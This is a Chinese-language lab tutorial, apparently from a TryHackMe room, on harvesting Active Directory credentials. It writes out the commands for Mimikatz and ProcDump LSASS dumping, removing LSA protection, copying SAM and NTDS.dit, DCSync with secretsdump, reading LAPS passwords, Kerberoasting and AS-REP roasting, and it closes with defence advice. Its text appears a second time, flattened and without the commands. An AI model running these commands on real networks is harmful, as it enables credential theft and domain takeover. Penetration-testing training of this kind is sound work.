AD Cred-Harvesting
字数 1477 2025-08-22 18:37:14

Active Directory 凭据收集与利用技术详解

0x01 凭据收集概述

Active Directory (AD) 凭据收集是指攻击者通过各种技术手段获取用户登录信息的过程,主要包括:

  • 帐户详细信息(用户名和密码)
  • 密码哈希值(如NTLM哈希)
  • 身份验证票据(TGT、TGS)
  • 其他有助于登录的信息(如私钥)

0x02 凭据访问技术

明文文件中的凭据

攻击者可能从以下文件中获取凭据:

  1. PowerShell历史文件

    C:\Users\USER\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
    
  2. 注册表查询

    reg query HKLM /f password /t REG_SZ /s
    reg query HKCU /f password /t REG_SZ /s
    
  3. 配置文件:Web应用、FTP、浏览器、邮件客户端等配置文件

数据库文件

应用程序常使用数据库存储设置、配置或凭据,是检索凭据的重要目标。

密码管理器

包括Windows内置密码管理器和第三方工具(KeePass、1Password等),可能存在配置错误或漏洞。

内存转储

内存中可能包含:

  • 明文凭据
  • 缓存密码
  • AD票据

Active Directory中的凭据

常见泄露途径:

  • 用户描述中保存密码
  • 组策略SYSVOL漏洞
  • NTDS数据库文件
  • 错误AD配置

枚举AD用户描述中的密码:

Get-ADUser -Filter * -Properties * | select Name, SamAccountName, Description

0x03 本地凭据技术

SAM数据库提取

方法1:Metasploit hashdump

  • 注入LSASS.exe进程转储哈希

方法2:卷影复制服务

wmic shadowcopy call create Volume='C:\'
vssadmin list shadows
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\Administrator\Desktop\sam
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\Administrator\Desktop\system

方法3:注册表配置单元

reg save HKLM\sam C:\users\Administrator\Desktop\sam-reg
reg save HKLM\system C:\users\Administrator\Desktop\system-reg

使用Impacket提取:

secretsdump.py -sam sam-reg -system system-reg LOCAL

方法4:Mimikatz

privilege::debug
token::elevate
lsadump::sam

0x04 LSASS进程凭据提取

LSASS(本地安全认证子系统服务)存储用户凭据,是攻击重点。

方法1:GUI转储

  • 任务管理器 → 详细信息 → LSASS.exe → 创建转储文件

方法2:ProcDump

procdump.exe -accepteula -ma lsass.exe lsass_dump.dmp

方法3:Mimikatz直接提取

privilege::debug
sekurlsa::logonpasswords

绕过LSA保护

!+
!processprotect /process:lsass.exe /remove

0x05 凭据管理器攻击

Windows凭据管理器存储四种凭据:

  1. Web凭据
  2. Windows凭据
  3. 通用凭据
  4. 基于证书的凭据

枚举凭据库

vaultcmd /list
vaultcmd /listproperties:"Web Credentials"
vaultcmd /listcreds:"Web Credentials"

PowerShell转储

Import-Module Get-WebCredentials.ps1
Get-WebCredentials

RunAs利用

runas /savecred /user:THM.red\thm-local cmd.exe

Mimikatz转储

privilege::debug
sekurlsa::credman

0x06 域控制器凭据提取

NTDS.dit数据库提取

本地转储(需管理员权限)

ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q

需要获取:

  • C:\Windows\NTDS\ntds.dit
  • C:\Windows\System32\config\SYSTEM
  • C:\Windows\System32\config\SECURITY

使用Impacket提取:

secretsdump.py -sam SECURITY -system SYSTEM -ntds ntds.dit local

DC Sync攻击

需要以下AD权限之一:

  • Replicating Directory Changes
  • Replicating Directory Changes All
  • Replicating Directory Changes in Filtered Set

使用Impacket:

secretsdump.py -just-dc THM.red/thm@10.10.231.22
secretsdump.py -just-dc-ntlm THM.red/thm@10.10.231.22

0x07 LAPS(本地管理员密码解决方案)

枚举LAPS

dir "C:\Program Files\LAPS\CSE"
Get-Command *AdmPwd*
Find-AdmPwdExtendedRights -Identity *

获取密码

Get-AdmPwdPassword -ComputerName creds-harvestin

0x08 其他攻击方法

Kerberoasting

  1. 枚举SPN帐户:
GetUserSPNs.py -dc-ip 10.10.23.153 THM.red/thm
  1. 请求TGS票据:
GetUserSPNs.py -dc-ip 10.10.23.153 THM.red/thm -request-user svc-thm
  1. 破解哈希:
hashcat -a 0 -m 13100 spn.hash /usr/share/wordlists/rockyou.txt

AS-REP Roasting

针对设置了"不需要Kerberos预认证"的帐户:

GetNPUsers.py -dc-ip 10.10.23.153 thm.red/ -usersfile users.txt

SMB自动中继

利用NTLM认证机制,要求目标机器SMB签名已禁用。

LLMNR/NBNS投毒攻击

通过响应LLMNR或NBT-NS查询欺骗目标网络。

防御建议

  1. 启用LSA保护
  2. 实施LAPS管理本地管理员密码
  3. 禁用不必要的协议(LLMNR/NBT-NS)
  4. 启用SMB签名
  5. 定期审计AD配置
  6. 监控异常活动(如大量DC同步请求)
  7. 限制特权帐户使用
  8. 禁用"不需要Kerberos预认证"选项

以上技术仅用于安全研究和授权测试,未经授权使用可能违反法律。

Active Directory 凭据收集与利用技术详解 0x01 凭据收集概述 Active Directory (AD) 凭据收集是指攻击者通过各种技术手段获取用户登录信息的过程,主要包括: 帐户详细信息(用户名和密码) 密码哈希值(如NTLM哈希) 身份验证票据(TGT、TGS) 其他有助于登录的信息(如私钥) 0x02 凭据访问技术 明文文件中的凭据 攻击者可能从以下文件中获取凭据: PowerShell历史文件 : 注册表查询 : 配置文件 :Web应用、FTP、浏览器、邮件客户端等配置文件 数据库文件 应用程序常使用数据库存储设置、配置或凭据,是检索凭据的重要目标。 密码管理器 包括Windows内置密码管理器和第三方工具(KeePass、1Password等),可能存在配置错误或漏洞。 内存转储 内存中可能包含: 明文凭据 缓存密码 AD票据 Active Directory中的凭据 常见泄露途径: 用户描述中保存密码 组策略SYSVOL漏洞 NTDS数据库文件 错误AD配置 枚举AD用户描述中的密码: 0x03 本地凭据技术 SAM数据库提取 方法1:Metasploit hashdump 注入LSASS.exe进程转储哈希 方法2:卷影复制服务 方法3:注册表配置单元 使用Impacket提取: 方法4:Mimikatz 0x04 LSASS进程凭据提取 LSASS(本地安全认证子系统服务)存储用户凭据,是攻击重点。 方法1:GUI转储 任务管理器 → 详细信息 → LSASS.exe → 创建转储文件 方法2:ProcDump 方法3:Mimikatz直接提取 绕过LSA保护 : 0x05 凭据管理器攻击 Windows凭据管理器存储四种凭据: Web凭据 Windows凭据 通用凭据 基于证书的凭据 枚举凭据库 : PowerShell转储 : RunAs利用 : Mimikatz转储 : 0x06 域控制器凭据提取 NTDS.dit数据库提取 本地转储(需管理员权限) : 需要获取: C:\Windows\NTDS\ntds.dit C:\Windows\System32\config\SYSTEM C:\Windows\System32\config\SECURITY 使用Impacket提取: DC Sync攻击 需要以下AD权限之一: Replicating Directory Changes Replicating Directory Changes All Replicating Directory Changes in Filtered Set 使用Impacket: 0x07 LAPS(本地管理员密码解决方案) 枚举LAPS : 获取密码 : 0x08 其他攻击方法 Kerberoasting 枚举SPN帐户: 请求TGS票据: 破解哈希: AS-REP Roasting 针对设置了"不需要Kerberos预认证"的帐户: SMB自动中继 利用NTLM认证机制,要求目标机器SMB签名已禁用。 LLMNR/NBNS投毒攻击 通过响应LLMNR或NBT-NS查询欺骗目标网络。 防御建议 启用LSA保护 实施LAPS管理本地管理员密码 禁用不必要的协议(LLMNR/NBT-NS) 启用SMB签名 定期审计AD配置 监控异常活动(如大量DC同步请求) 限制特权帐户使用 禁用"不需要Kerberos预认证"选项 以上技术仅用于安全研究和授权测试,未经授权使用可能违反法律。